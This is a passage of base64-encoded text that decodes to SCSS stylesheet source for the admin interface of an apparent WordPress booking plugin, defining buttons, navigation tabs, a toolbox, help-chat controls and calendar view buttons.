TtcbiAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB3aWR0aD0nMjUuNScgaGVpZ2h0PSczMCcgdmlld0JveD0nMCAwIDI1LjUgMzAnJTNFJTNDcGF0aCBpZD0nVHJhY2NpYXRvXzE2JyBkYXRhLW5hbWU9J1RyYWNjaWF0byAxNicgZD0nTTIyLjgxNyw3LjQ0NkExLjUsMS41LDAsMCwxLDIyLjgsOS41NjdsLTIuMjI0LDIuMmgxLjE3QTEyLjYxOCwxMi42MTgsMCwxLDEsOSwyNC4zODJhMS41LDEuNSwwLDAsMSwzLDAsOS43NTEsOS43NTEsMCwxLDAsOS43NS05LjYxOEgyMC41OGwyLjIyNCwyLjJBMS41LDEuNSwwLDEsMSwyMC43LDE5LjFsLTQuODIxLTQuNzY1YTEuNSwxLjUsMCwwLDEsMC0yLjEzNEwyMC43LDcuNDMzQTEuNSwxLjUsMCwwLDEsMjIuODE3LDcuNDQ2WicgdHJhbnNmb3JtPSd0cmFuc2xhdGUoLTkgLTcpJyBmaWxsLXJ1bGU9J2V2ZW5vZGQnIGZpbGw9JyUyM2EwMTUxNCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICB9XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICY6aG92ZXIsXG4gICAgICAmOmZvY3VzIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtLS1iZygxKTtcbiAgICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tZGFyaygxKTtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0oMSk7XG4gICAgICB9XG4gICAgfVxuICB9XG59XG4vLyBCVE4gVVRJTElUSUVTXG4uc2xuLWJ0bi0tZGlzYWJsZWQge1xuICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgY3Vyc29yOiBub3QtYWxsb3dlZCAhaW1wb3J0YW50O1xuICBvcGFjaXR5OiAwLjU7XG4gICYjc2xuLWFkZHNlcnZpY2Uge1xuICAgIHBvaW50ZXItZXZlbnRzOiBhdXRvO1xuICB9XG59XG4uc2xuLWJ0bi0taGlkZGVuIHtcbiAgZGlzcGxheTogbm9uZSAhaW1wb3J0YW50O1xufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1idG4tLWJsaW5rLFxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLWJsaW5rLFxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1idG4tLXRleHRvbmx5LS1lbXBoLnNsbi1idG4tLWJsaW5rLFxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLXRleHRvbmx5LS1lbXBoLnNsbi1idG4tLWJsaW5rIHtcbiAgYW5pbWF0aW9uLWR1cmF0aW9uOiAxNTAwbXM7XG4gIGFuaW1hdGlvbi1uYW1lOiBidG5ibGluaztcbn1cbkBrZXlmcmFtZXMgYnRuYmxpbmsge1xuICBmcm9tIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEsIDEpO1xuICB9XG4gIDEwJSB7XG4gICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEsIDEuMSk7XG4gIH1cbiAgMTUlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMSwgMS4xKTtcbiAgfVxuICB0byB7XG4gICAgdHJhbnNmb3JtOiBzY2FsZSgxLCAxKTtcbiAgfVxufVxuLnNsbi1idG4tLWlubGluZSxcbi5zbG4tYnRuLS1pbmxpbmUtLWljb24ge1xuICBwYWRkaW5nOiAxZW0gMS4yNWVtO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9udS0taGlnaGVtcGhhO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgZm9udC1zaXplOiAxcmVtO1xuICBmb250LXdlaWdodDogYm9sZDtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodC0tb3AyNTtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbiwgMC41KTtcbiAgLy9ib3JkZXI6IDFweCBzb2xpZCAkY2xfbWFpbi0tbGlnaHQ7XG4gIC8vYmFja2dyb3VuZC1jb2xvcjogJGNsX21haW4tLWxpZ2h0O1xuICAvL2NvbG9yOiAkY2xfbWFpbjtcbiAgYm9yZGVyLXJhZGl1czogc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpO1xuICAvKiBGSVggMDkyMDIzICovXG4gICY6OmJlZm9yZSB7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIG1hcmdpbi1yaWdodDogMC41ZW07XG4gICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzM3B4KTtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgY29udGVudDogJ1xcZjRmYyc7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihcbiAgICAgIGJhY2tncm91bmQtY29sb3IgMjAwbXMsXG4gICAgICBjb2xvciAzMDBtcyxcbiAgICAgIG9wYWNpdHkgMjUwbXNcbiAgICApO1xuICB9XG5cbiAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIC8qIEZJWCAwOTIwMjMgXG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBjb2xvcjogJGNsX21haW4tLXdoaXRlO1xuICAgICAgfVxuICAgICAgKi9cbiAgICB9XG4gIH1cbn1cbi8vIEJUTiBVVElMSVRJRVMgLy8gRU5EXG4uc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIgLm5hdi10YWIsXG5oMi5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlciAubmF2LXRhYiB7XG4gIEBleHRlbmQgLnNsbi1idG47XG4gIEBleHRlbmQgLnNsbi1idG4tLWJvcmRlcm9ubHktLXdubHkhb3B0aW9uYWw7XG4gIEBleHRlbmQgLnNsbi1idG4tLW1lZGl1bTtcbiAgZm9udC1zaXplOiAwLjc1cmVtO1xuICBmb250LXdlaWdodDogbm9ybWFsO1xuICBtYXJnaW46IDA7XG4gICY6bm90KC5uYXYtdGFiLWFjdGl2ZSk6bm90KDpsYXN0LW9mLXR5cGUpIHtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICBib3JkZXItcmlnaHQ6IG5vbmU7XG4gICAgfVxuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIGJvcmRlci1yaWdodDogaW5oZXJpdDtcbiAgfVxufVxuLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIC5uYXYtdGFiLm5hdi10YWItYWN0aXZlLFxuaDIuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIgLm5hdi10YWIubmF2LXRhYi1hY3RpdmUge1xuICBAZXh0ZW5kIC5zbG4tYnRuLS1hY3RpdmU7XG59XG4vLyAuYnRuLWdyb3VwLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIC5hY3RpdmUge1xuLy8gICBAZXh0ZW5kIC5zbG4tYnRuLS1vaztcbi8vIH1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLmNvbC1zbS0xMi5zbG4tYWRtaW4tbmF2LFxuI3Nsbi1zYWxvbi0tYWRtaW4gLmNvbC1tZC0xMi5zbG4tYWRtaW4tbmF2LFxuLnNsbi1hZG1pbi1uYXYge1xuICAvL0BleHRlbmQgJWRpc3BsYXktZmxleDtcbiAgZGlzcGxheTogYmxvY2s7XG4gIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gIGxpIHtcbiAgICBmbG9hdDogbGVmdDtcbiAgfVxuICBhIHtcbiAgICBAZXh0ZW5kIC5zbG4tYnRuO1xuICAgIEBleHRlbmQgLnNsbi1idG4tLW5vYmtnO1xuICAgIEBleHRlbmQgLnNsbi1idG4tLW1lZGl1bTtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCkgIWltcG9ydGFudDtcbiAgICBtaW4td2lkdGg6IDEyMHB4O1xuICAgIG1hcmdpbjogMDtcbiAgICBib3JkZXItcmlnaHQ6IG5vbmU7XG4gICAgJi5jdXJyZW50IHtcbiAgICAgIEBleHRlbmQgLnNsbi1idG4tLWFjdGl2ZTtcbiAgICB9XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICBmbG9hdDogcmlnaHQ7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRleHQtb3V0bGluZTogMDtcbiAgICByaWdodDogMTBweDtcbiAgfVxufVxuXG4uc2xuLXRhYi1uYXYge1xuICBkaXNwbGF5OiBibG9jaztcbiAgYm9yZGVyLWJvdHRvbTogbm9uZTtcbiAgbGkge1xuICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgYSB7XG4gICAgICBAZXh0ZW5kIC5zbG4tYnRuO1xuICAgICAgQGV4dGVuZCAuc2xuLWJ0bi0tYm9yZGVyb25seTtcbiAgICAgIEBleHRlbmQgLnNsbi1idG4tLW1lZGl1bTtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuICAgICAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbiAgICAgIG1hcmdpbjogMDtcbiAgICB9XG4gICAgJi5hY3RpdmUgYSB7XG4gICAgICBAZXh0ZW5kIC5zbG4tYnRuLS1hY3RpdmU7XG4gICAgfVxuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgIGxpOm5vdCguYWN0aXZlKTpub3QoOmxhc3Qtb2YtdHlwZSkge1xuICAgICAgYSB7XG4gICAgICAgIGJvcmRlci1ib3R0b20tY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgfVxuICAgIH1cbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgbGkge1xuICAgICAgZmxvYXQ6IGxlZnQ7XG4gICAgICBtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgICAgZGlzcGxheTogbGlzdC1pdGVtO1xuICAgICAgYSB7XG4gICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuICAgICAgICBmb250LXdlaWdodDogbm9ybWFsO1xuICAgICAgICBtYXJnaW46IDA7XG4gICAgICB9XG4gICAgICAmOm5vdCguYWN0aXZlKTpub3QoOmxhc3Qtb2YtdHlwZSkge1xuICAgICAgICBhIHtcbiAgICAgICAgICBib3JkZXItcmlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG59XG4vLyBUT09CT1hcbi5zbG4tdG9vbGJveCB7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4sIDAuOSk7XG4gIG1heC13aWR0aDogMTAwJTtcbiAgZmxvYXQ6IHJpZ2h0O1xuICBtYXJnaW4tdG9wOiAwO1xuICBwYWRkaW5nOiAwO1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHJpZ2h0OiAwO1xuICBib3R0b206IDEwMCU7XG4gIG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gIG1heC1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTlweCk7XG5cbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgQGV4dGVuZCAlemktbmF2aWdhemlvbmU7XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKG1heC1oZWlnaHQgNTAwbXMsIHBhZGRpbmcgMjAwbXMpO1xuICAuc2xuLWJ0biB7XG4gICAgb3BhY2l0eTogMDtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihvcGFjaXR5IDIwMG1zKTtcbiAgfVxuICAmLm9wZW4ge1xuICAgIG1heC1oZWlnaHQ6IDYwMHB4O1xuICAgIC5zbG4tYnRuIHtcbiAgICAgIG9wYWNpdHk6IDE7XG4gICAgfVxuICAgIC5zbG4tdG9vbGJveC10cmlnZ2VyIHtcbiAgICAgIG9wYWNpdHk6IDAuNzU7XG4gICAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICAgICAgJjpob3ZlciB7XG4gICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICB9XG4gICAgfVxuICB9XG4gICY6bm90KC5vcGVuKSB7XG4gICAgbWF4LWhlaWdodDogMHB4O1xuICAgIHBhZGRpbmc6IDA7XG4gIH1cbiAgLnNsbi1idG4ge1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KTtcbiAgICB3aWR0aDogMTAwJTtcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICBmbG9hdDogcmlnaHQ7XG4gICAgbWFyZ2luLXRvcDogMDtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgcmlnaHQ6IDA7XG4gICAgYm90dG9tOiA5OSU7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbiwgMC44NSk7XG4gICAgJjpub3QoLm9wZW4pIHtcbiAgICAgIG1heC1oZWlnaHQ6IDBweDtcbiAgICB9XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICBmbG9hdDogbm9uZTtcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgYm90dG9tOiBhdXRvO1xuICAgIGJvdHRvbTogaW5pdGlhbDtcbiAgICBtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgIG1heC1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTlweCk7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbiwgMCk7XG4gICAgJjpub3QoLm9wZW4pIHtcbiAgICAgIG1heC1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTlweCk7XG4gICAgfVxuICAgIC5zbG4tdG9vbGJveC10cmlnZ2VyIHtcbiAgICAgIG9wYWNpdHk6IDE7XG4gICAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24ob3BhY2l0eSAyNTBtcyk7XG4gICAgfVxuICB9XG59XG4vLyBUT09MQk9YIC8vIEVORFxuLy8gSEVMUCBDSEFUXG4uc2xuLWFkbWluLXNpZGViYXIsXG4uc2xuLWNhbGVuZGFyLXNpZGViYXIge1xuICAuc2xuLWhlbHAtYnV0dG9uIHtcbiAgICBmb250LXdlaWdodDogNjAwO1xuICAgICYuc2xuLWJ0bi0tYmlnLnNsbi1idG4tLWljb24ge1xuICAgICAgcGFkZGluZy1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg4MHB4KTtcbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1OHB4KTtcbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tYnRuLS1ub2JrZyB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1ncmVlbjtcbiAgICAgIGNvbG9yOiAjNjZiYjZhO1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBjb2xvcjogY3VycmVudENvbG9yO1xuICAgICAgfVxuICAgICAgJjpmb2N1cyB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1ncmVlbjtcbiAgICAgICAgY29sb3I6ICM2NmJiNmE7XG4gICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBjb2xvcjogY3VycmVudENvbG9yO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWdyZWVuO1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMGRhYzY7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzY2YmI2YTtcbiAgICAgICAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgICAgY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tYnRuLS1zbWFsbC0tcm91bmQge1xuICAgICAgZmxvYXQ6IHJpZ2h0O1xuICAgICAgbWFyZ2luLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG4gICAgfVxuICB9XG59XG4uc2xuLWNhbGVuZGFyLXNpZGViYXIge1xuICAuc2xuLWhlbHAtYnV0dG9uLnNsbi1idG4tLW5vYmtnIHtcbiAgICBib3JkZXI6IDFweCBzb2xpZCBjdXJyZW50Q29sb3I7XG4gICAgYm9yZGVyLWNvbG9yOiBjdXJyZW50Q29sb3I7XG4gICAgJjpmb2N1cyB7XG4gICAgICBib3JkZXItY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgICB9XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICBib3JkZXItY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi5zbG4taGVscGNoYXRfX2Nsb3NlIHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIHdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKC02MHB4KTtcbiAgcmlnaHQ6IDEycHg7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIC8qIEZJWCAwOTIwMjMgKi9cbiAgJjo6YWZ0ZXIge1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICB3aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgY29udGVudDogJ1xcZjAwZCc7XG4gIH1cblxuICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICB9XG59XG4vLyBIRUxQIENIQVQgLy8gRU5EXG4vLyBXUCBCVVRUT05TXG4je2FkbWluX2NvbmZpZy4kd3JhcHBlcn0ge1xuICBwLnN1Ym1pdCB7XG4gICAgQGV4dGVuZCAuc2xuLWJ0bjtcbiAgICBAZXh0ZW5kIC5zbG4tYnRuLS1tYWluO1xuICAgIC8vQGV4dGVuZCAuc2xuLWJ0bi0tYmlnO1xuICAgIEBleHRlbmQgLnNsbi1idG4tLWljb247XG4gICAgQGV4dGVuZCAuc2xuLWljb24tLXNhdmU7XG4gICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICBtYXJnaW4tdG9wOiA1JTtcbiAgfVxufVxuXG4uc2xuLWR1cC1pY29uLXRvb2x0aXA6OmFmdGVyIHtcbiAgZm9udC1zaXplOiAxLjVyZW07XG4gIGZvbnQtZmFtaWx5OiAnRm9udEF3ZXNvbWUnO1xuICBmb250LXdlaWdodDogNDAwO1xuICBjb250ZW50OiAnXFxmMGM1JztcbiAgZm9udC1zaXplOiAxLjJyZW07XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgY29sb3I6ICMwOTc4YmQ7XG59XG5cbi5zbG4tZHVwLWNsb3NlLWljb24tdG9vbHRpcCB7XG4gIGNvbG9yOiBncmF5O1xufVxuXG4uc2xuLWR1cC1jbG9zZS1pY29uLXRvb2x0aXA6OmFmdGVyIHtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgY3Vyc29yOiBkZWZhdWx0O1xuICBmb250LXNpemU6IDEuNXJlbTtcbiAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIGNvbnRlbnQ6ICdcXGYwYzUnO1xuICBmb250LXNpemU6IDEuMnJlbTtcbiAgY29sb3I6IGdyYXk7XG59XG5cbi8vIDIwMjUgQ2FsZW5kYXJcblxuLnNsbi1idG4tLWNhbGVuZGFyLXZpZXctLWljb25vbmx5IHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gIEBleHRlbmQgJWZvbnQtbWVkaXVtO1xuICBmb250LXNpemU6IDE0cHg7XG4gIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAvL3BhZGRpbmc6IDAgMTBweDtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmItcmFkaXVzKDUwJSk7XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKGFsbCAyNTBtcyk7XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgfVxuICAmLnNsbi1idG4tLWljb24ge1xuICAgIHdpZHRoOiA0MHB4O1xuICAgIGhlaWdodDogNDBweDtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMnB4KTtcbiAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICY6YWZ0ZXIge1xuICAgICAgd2lkdGg6IDQwcHg7XG4gICAgICBoZWlnaHQ6IDQwcHg7XG4gICAgICBsaW5lLWhlaWdodDogNDBweDtcbiAgICAgIGxlZnQ6IDA7XG4gICAgICB0b3A6IDA7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgICBmb250LXNpemU6IDE4cHg7XG4gICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgIHRyYW5zaXRpb246IGFsbCAyNTBtcztcbiAgICB9XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICY6aG92ZXI6YWZ0ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICB9XG4gICAgfVxuICB9XG59XG5cbi5zbG4tYnRuLS1jYWxlbmRhci12aWV3LS1waWxsIHtcbiAgZGlzcGxheTogZmxleDtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICB3aWR0aDogYXV0bztcbiAgbWF4LXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0MHB4KTtcbiAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDUwcHgpO1xuICBwYWRkaW5nOiAwIDAgMCAwLjVyZW07XG4gIGJveC1zaGFkb3c6IG5vbmU7XG4gIG91dGxpbmU6IG5vbmU7XG4gIGJvcmRlcjogMXB4IHNvbGlkIGN1cnJlbnRDb2xvcjtcbiAgQGV4dGVuZCAlZm9udC1iaWc7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgJi5zbG4tY2FsZW5kYXJfX3Jvd19fYnV0dG9uIHtcbiAgICBwYWRkaW5nOiAwIDEuNXJlbSAwIDFyZW07XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmItcmFkaXVzKDUwJSk7XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgfVxuICAmOmhvdmVyIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAmOmFmdGVyLFxuICAgIGlucHV0LFxuICAgIGJ1dHRvbiB7XG4gICAgICBjb2xvcjogY3VycmVudENvbG9yO1xuICAgIH1cbiAgfVxufVxuXG4uc2xuLWJ0bi0tY2FsZW5kYXItdmlldy0tdGV4dG9ubHkge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIEBleHRlbmQgJWZvbnQtYmlnO1xuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgfVxuICAmOmhhcyhidXR0b24uYWN0aXZlKSB7XG4gICAgLy8gJjo6YWZ0ZXIge1xuICAgIC8vICAgY29udGVudDogJyc7XG4gICAgLy8gICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgLy8gICBib3R0b206IDAuMjVyZW07XG4gICAgLy8gICBsZWZ0OiAwLjI1cmVtO1xuICAgIC8vICAgcmlnaHQ6IDAuMjVyZW07XG4gICAgLy8gICB3aWR0aDogY2FsYygxMDAlIC0gMC41cmVtKTtcbiAgICAvLyAgIGhlaWdodDogMnB